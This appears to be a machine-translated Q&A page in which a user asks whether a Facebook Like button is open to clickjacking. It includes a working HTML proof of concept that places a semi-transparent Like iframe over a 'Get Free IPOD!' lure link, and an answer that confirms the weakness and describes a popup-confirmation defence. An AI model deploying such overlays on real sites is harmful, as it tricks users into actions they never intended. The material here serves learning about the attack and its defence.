use*_*540 5 javascript security facebook facebook-graph-api
几天前我从http://javascript.info/tutorial/clickjacking上读到了关于点击劫持的攻击.所以今天我尝试使用facebook之类的按钮.而且我似乎在实验中取得了成功.
但我不确定天气是否正确?这是我使用过的代码片段.
<html>
<head>
<script>
window.fbAsyncInit = function() {
FB.init({
appId : '********',
xfbml : true,
version : 'v2.1'
});
};
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<style>
iframe { /* iframe from facebook.com */
width:140px;
height:100px;
margin-top: 100px;
margin-left: 50px;
position:absolute;
top:0; left:0;
filter:alpha(opacity=50); /* in real life opacity=0 */
opacity:0.5;
}
.a{
margin-top: 95px;
}
</style>
</head>
<body>
<div class="a">
<a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">Get Free IPOD!</a>
</div>
<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FTimesnow&width&layout=button&action=like&show_faces=false&share=false&height=35&appId=*****" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:35px;" allowTransparency="true"></iframe>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

我可以将iframe的不透明度设置为0,这样当用户点击链接时,用户就无法看到fb like按钮,攻击者页面将自动被喜欢.
示例小提琴:http://jsfiddle.net/5e5kvxk4/2/
我错过了什么吗?或Facebook喜欢按钮真的很脆弱?
是的,它可能很容易受到点击顶升的影响.有没有以防止伪造请求控件一个很好的解决方案利用现有的网络技术.
该小部件将易受点击劫持或CSRF攻击,如下所述:
从" 如何保护小部件免受伪造请求 ":
您不希望此[widget]容易受到CSRF的攻击,因此您可以向页面编写iframe.根据原始继承规则,父站点将无法读取CSRF令牌.然而,点击劫持(或像劫持)呢?由于CSRF,你必须在iframe中,而x-frame-options无法帮助,对于帧破坏者也是如此
目前最好的解决方案似乎是使用弹出窗口来验证点击:
单击小部件需要打开一个包含新页面的弹出窗口 - 一个iframe不够好,它必须是一个新窗口 - 完全在您的Web应用程序的控制之下.在该页面上确认操作,无论它是什么.
是的,这有点不优雅,但目前的Web安全架构并没有为您提供更好的选择.